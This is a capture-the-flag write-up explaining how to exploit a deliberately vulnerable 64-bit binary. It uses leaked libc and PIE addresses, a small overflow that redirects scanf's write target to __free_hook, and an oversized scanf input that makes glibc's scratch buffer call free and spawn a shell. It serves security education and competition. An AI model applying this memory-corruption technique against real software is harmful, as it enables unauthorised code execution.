Challenge:

Insecure System

My Boss is pissed at my new application!!!
I had very little time to complete my project..
So I never had time to think about the security mechanism!!
The worst part is it is also leaking some important *Secrets*!!
But my application is too small..Is there any chance to exploit this!!

Author:-Itz_me_strikerr

TL-DR:-

Exploiting an overflow in local variable to tamper the next scanf argument address to overwrite the __free_hook address with secret function address and trigger a call to free by giving a large input(>= 1024 length) to call the scratch buffer free function which internally calls free to yield a shell.

Writeup:

We are given the binary for the challenge, Dockerfile and also the libc file.

Let’s do some basic enumerations for the challenge

```
ajay@kali:~/tamil_ctf_2.0/chall_3$ ./chall3
OOPS!!!!I AM LEAKING CRITICAL STUFF 0x7fb942829e50 0x5653164991a2!!
I am so Insecure!!!!
AAAAAAA
12
```

Looks like its leaking some important stuff in here.. One looks like libc address and the other one is in binary address range maybe pie present here.

So there maybe pie and aslr present but both these mitigations is not effective in here.

It asks for two inputs.

Let’s peek the function calls by using ltrace..

```
ajay@kali:~/tamil_ctf_2.0/chall_3$ ltrace ./chall3
sleep(2)                                                                                                = 0
printf("OOPS!!!!I AM LEAKING CRITICAL ST"..., 0x7f162af97e50, 0x56413b38f1a2OOPS!!!!I AM LEAKING CRITICAL STUFF 0x7f162af97e50 0x56413b38f1a2!!
I am so Insecure!!!!
)                                = 89
read(0AAAAAAAAAAAa
, "AAAAAAAAAAAa\n", 48)                                                                                 = 14
putchar(10, 0x7ffd7999ea70, 48, 0x7f162b03de8e
)                                                = 10
__isoc99_scanf(0x56413b390052, 0x56413b392018, 0, 0x7f162b03df3312
)                                        = 1
+++ exited (status 0) +++
```

First it calls a sleep and then prints the libc address and pie address using printf you can see its values are changing here.. So I am quite sure that is a libc address and pie address.

And then calls a read with size of 48 chars.

And uses putchar to print a newline.

And then calls a scanf maybe an overflow is present here because of the scanf.

And if you see closely, you can see that the address in argument is not in stack range.

It is in binary address range.. So we are gonna write a value to some global variable.

Dreams of overflowing the buffer variable and getting PC control idea will not work here.

There is no malloc, calloc, mmap, munmap and free here to try your glibc heap tricks and no vulnerable printf for format string.

We still have a read here with 48 chars.. Our last hope for a buffer overflow to get PC control.

```
ajay@kali:~/tamil_ctf_2.0/chall_3$ ltrace ./chall3
sleep(2)                                                                                                = 0
printf("OOPS!!!!I AM LEAKING CRITICAL ST"..., 0x7f4e24da3e50, 0x55d91f7d21a2OOPS!!!!I AM LEAKING CRITICAL STUFF 0x7f4e24da3e50 0x55d91f7d21a2!!
I am so Insecure!!!!
)                                 = 89
read(0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 48)                                              = 48
putchar(10, 0x7ffe01a36270, 48, 0x7f4e24e49e8e
)                                                 = 10
__isoc99_scanf(0x55d91f7d3052, 0x4141414141414141, 0, 0x7f4e24e49f3312
 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
```

This output seems interesting..The program crashed for 48 chars.. But the crash appears at scanf instruction where the address argument has our input A’s..

So we have a write primitive here. Let’s check our security mitigations for this binary if it has NO RELRO we can tamper the fini array or if PARTIAL RELRO we can tamper the .got.plt..

But the problem lies when it is FULL RELRO because we have no malloc or free here to tamper the malloc hook and free hook and changing the code execution to a one gadget.

```
[*] '/home/ajay/tamil_ctf_2.0/chall_3/chall3'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

Our worst fear came to life. Yes it is FULL RELRO, Except Stack canary every mitigations is in place.

We have a write primitive here..So the absence or presence of stack canary will not have an effect here.

And there is no partial overwrite present here because the address is of global variable and not stack variable to get return address overwrite to one gadget.

Let’s see the decompiled view of this binary.

```
1
2 undefined8 main(void)
3
4 {
5   vuln();
6   return 0;
7 }
8
```

```
1
2 void vuln(void)
3
4 {
5   undefined local_38 [40];
6   undefined8 *local_10;
7
8   sleep(2);
9   printf("OOPS!!!!I AM LEAKING CRITICAL STUFF %p %p!!\nI am so Insecure!!!!\n",system,vuln);
10  local_10 = &i;
11  read(0,local_38,0x30);
12  putchar(10);
13  __isoc99_scanf(&DAT_00102052,local_10);
14  return;
15 }
16
```

```
1
2 void no_gadget_here_so_let_me_help_you(void)
3
4 {
5   execve("/bin/sh",(char **)0x0,(char **)0x0);
6   return;
7 }
8
```

So from the decompiled view, we can see that there are 3 functions..

Main function calls the vuln function where everything takes place..

There is also a hidden function called “no_gadget_here_so_let_me_help_you” which calls execve /*bin/*sh to gives us a shell.. Woah, until the decompiled view. We never knew about this function.

And the function name means there is no way to call a one gadget here maybe..

Let’s go on a quest to find the place where to use the write primitive. We have all the leaks required for us but we don’t have the required place to change the point of execution.

And the format specifier in scanf is %lu long unsigned int.

If you have selected the memory space to write as free hook and do some fuzzing in the second input.. It would crash when the length of the second input is greater than or equal to 1024.

The reason is that scanf does not have any way to determine the input length to store in a temporary buffer and chances that it may overflow the temporary buffer so it needs to allocate the large temporary buffer input in heap and after usage it frees the buffer.

Example for the second input:

0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000003333
3333

The Backtrace and crash looks like this:-

```
Program received signal SIGSEGV, Segmentation fault.
0x000000001fca055 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────
*RAX  0x1fca055
*RBX  0xa
*RCX  0x10
*RDX  0x0
*RDI  0x558b471b06c0 ◂— 0x3030303030303030 ('00000000')
*RSI  0x7fbf4bc64f0c (__vfscanf_internal+1116) ◂— cmp    dword ptr [rbp - 0x644], -1
*R8   0x1fca055
*R9   0x0
*R10  0x7fbf4bd7dac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
*R11  0x7fbf4bd7e3c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002
*R12  0x558b45685055 ◂— 0x4c3b031b01000000
*R13  0x0
*R14  0x7fbf4bdca980 (_IO_2_1_stdin_) ◂— 0xfbad2088
*R15  0xa
*RBP  0x7fffb0fcfda0 —▸ 0x7fffb0fcfec0 —▸ 0x7fffb0fcfed0 —▸ 0x558b45684240 (__libc_csu_init) ◂— push   r15
*RSP  0x7fffb0fcf6a8 —▸ 0x7fbf4bc64f0c (__vfscanf_internal+1116) ◂— cmp    dword ptr [rbp - 0x644], -1
*RIP  0x1fca055
────────────────────────────────────────[ DISASM ]───────────────────────────────
Invalid address 0x1fca055
```

The last instruction was a call rax which holds the value of our second input..

```
pwndbg> bt
#0  0x000000001fca055 in ?? ()
#1  0x00007fbf4bc64f0c in scratch_buffer_free (buffer=0x7fffb0fcf940) at ../include/scratch_buffer.h:86
#2  __vfscanf_internal (s=<optimized out>, format=<optimized out>, argptr=argptr@entry=0x7fffb0fcfdb0, mode_flags=mode_flags@entry=2) at vfscanf-internal.c:30
32
#3  0x00007fbf4bc6418e in __isoc99_scanf (format=<optimized out>) at isoc99_scanf.c:30
#4  0x0000558b4568421c in vuln ()
#5  0x0000558b4568422d in main ()
#6  0x00007fbf4bc32d0a in __libc_start_main (main=0x558b4568421f <main>, argc=1, argv=0x7fffb0fcffc8, init=<optimized out>, fini=<optimized out>, rtld_fini=<o
ptimized out>, stack_end=0x7fffb0fcffb8) at ../csu/libc-start.c:308
#7  0x0000558b456840ca in _start ()
```

The backtrace shows us that after the call to __vfscanf_internal it went to call an unusual function called scratch_buffer_free..

But you will come across the fact the argument to scratch_buffer_free is a stack address and not heap address.

scratch_buffer_free(struct scratch_buffer *buffer)

And the struct scratch_buffer looks like

```
struct scratch_buffer {
void *data;    /* Pointer to the beginning of the scratch area.  */
size_t length; /* Allocated space at the data pointer, in bytes.  */
union { max_align_t __align; char __c[1024]; } __space;
}
```

```
pwndbg> x/4xg 0x7fffb0fcf940
0x7fffb0fcf940: 0x0000558b471b06c0      0x0000000000000800
0x7fffb0fcf950: 0x3030303030303030      0x3030303030303030
```

Here you can see that first quadword gives us the address of data and the next quadword gives us the length of the input data and finally the union.

```
pwndbg> x/128xg 0x0000558b471b06c0
0x558b471b06c0: 0x3030303030303030      0x3030303030303030
0x558b471b06d0: 0x3030303030303030      0x3030303030303030
0x558b471b06e0: 0x3030303030303030      0x3030303030303030
0x558b471b06f0: 0x3030303030303030      0x3030303030303030
0x558b471b0700: 0x3030303030303030      0x3030303030303030
0x558b471b0710: 0x3030303030303030      0x3030303030303030
0x558b471b0720: 0x3030303030303030      0x3030303030303030
0x558b471b0730: 0x3030303030303030      0x3030303030303030
0x558b471b0740: 0x3030303030303030      0x3030303030303030
0x558b471b0750: 0x3030303030303030      0x3030303030303030
0x558b471b0760: 0x3030303030303030      0x3030303030303030
0x558b471b0770: 0x3030303030303030      0x3030303030303030
0x558b471b0780: 0x3030303030303030      0x3030303030303030
0x558b471b0790: 0x3030303030303030      0x3030303030303030
0x558b471b07a0: 0x3030303030303030      0x3030303030303030
0x558b471b07b0: 0x3030303030303030      0x3030303030303030
0x558b471b07c0: 0x3030303030303030      0x3030303030303030
0x558b471b07d0: 0x3030303030303030      0x3030303030303030
0x558b471b07e0: 0x3030303030303030      0x3030303030303030
0x558b471b07f0: 0x3030303030303030      0x3030303030303030
0x558b471b0800: 0x3030303030303030      0x3030303030303030
0x558b471b0810: 0x3030303030303030      0x3030303030303030
0x558b471b0820: 0x3030303030303030      0x3030303030303030
0x558b471b0830: 0x3030303030303030      0x3030303030303030
0x558b471b0840: 0x3030303030303030      0x3030303030303030
0x558b471b0850: 0x3030303030303030      0x3030303030303030
0x558b471b0860: 0x3030303030303030      0x3030303030303030
0x558b471b0870: 0x3030303030303030      0x3030303030303030
0x558b471b0880: 0x3030303030303030      0x3030303030303030
0x558b471b0890: 0x3030303030303030      0x3030303030303030
0x558b471b08a0: 0x3030303030303030      0x3030303030303030
0x558b471b08b0: 0x3030303030303030      0x3030303030303030
0x558b471b08c0: 0x3030303030303030      0x3030303030303030
0x558b471b08d0: 0x3030303030303030      0x3030303030303030
0x558b471b08e0: 0x3030303030303030      0x3030303030303030
0x558b471b08f0: 0x3030303030303030      0x3030303030303030
0x558b471b0900: 0x3030303030303030      0x3030303030303030
0x558b471b0910: 0x3030303030303030      0x3030303030303030
```

```
0x558b471b0910: 0x3030303030303030      0x3030303030303030
0x558b471b0920: 0x3030303030303030      0x3030303030303030
0x558b471b0930: 0x3030303030303030      0x3030303030303030
0x558b471b0940: 0x3030303030303030      0x3030303030303030
0x558b471b0950: 0x3030303030303030      0x3030303030303030
0x558b471b0960: 0x3030303030303030      0x3030303030303030
0x558b471b0970: 0x3030303030303030      0x3030303030303030
0x558b471b0980: 0x3030303030303030      0x3030303030303030
0x558b471b0990: 0x3030303030303030      0x3030303030303030
0x558b471b09a0: 0x3030303030303030      0x3030303030303030
0x558b471b09b0: 0x3030303030303030      0x3030303030303030
0x558b471b09c0: 0x3030303030303030      0x3030303030303030
0x558b471b09d0: 0x3030303030303030      0x3030303030303030
0x558b471b09e0: 0x3030303030303030      0x3030303030303030
0x558b471b09f0: 0x3030303030303030      0x3030303030303030
0x558b471b0a00: 0x3030303030303030      0x3030303030303030
0x558b471b0a10: 0x3030303030303030      0x3030303030303030
0x558b471b0a20: 0x3030303030303030      0x3030303030303030
0x558b471b0a30: 0x3030303030303030      0x3030303030303030
0x558b471b0a40: 0x3030303030303030      0x3030303030303030
0x558b471b0a50: 0x3030303030303030      0x3030303030303030
0x558b471b0a60: 0x3030303030303030      0x3030303030303030
0x558b471b0a70: 0x3030303030303030      0x3030303030303030
0x558b471b0a80: 0x3030303030303030      0x3030303030303030
0x558b471b0a90: 0x3030303030303030      0x3030303030303030
0x558b471b0aa0: 0x3030303030303030      0x3030303030303030
0x558b471b0ab0: 0x3030303030303030      0x3333333333333333
```

The reason why there is a call to scratch buffer free function took place was scanf does not have any idea of the length of the input for a place to store in a temporary buffer before taking it into the destination buffer.. But the risk occurs when the input threatens to overflow the stack so to prevent this.. It makes a heap allocation to store this large input and finally free this scratch_buffer after using it. Here we can see that scanf also under the hood does some heap allocation to store the data.

From the address we can see that it is allocated in heap.. After using this data it frees up this large chunk that is used to hold the user input..So finally the call to free which we have tampered the free hook with garbage. Finally changing the free hook to address of “no_gadget_here_so_let_me_help_you” will give us the shell.

Attack Plan in short:-

1)Overflow of 40 characters + address of computed __free_hook to manipulate the address scanf's address argument.

2)By using the leak value compute the address of no_gadget_here_so_let_me_help_you and give the input length more than 1024 by giving large number of zeros in front which will trigger a scratch buffer allocation and after using it will trigger a free which will call the no_gadget_here_so_let_me_help_you as we have tampered the free hook with this address.

3)Finally a shell is dropped..

To know about this method more:-

Source code of Scratch buffer :-
https://elixir.bootlin.com/glibc/glibc-2.31.9000/source/include/scratch_buffer.h

An awesome ctf challenge writeup where I came to know about this scratch buffer working:-

https://github.com/volticks/CTF-Writeups/blob/main/redpwn%202021/Simultaneity/README.md

You can find the exploit for this binary in:-

[Will be uploaded in github and link will posted here during publish time]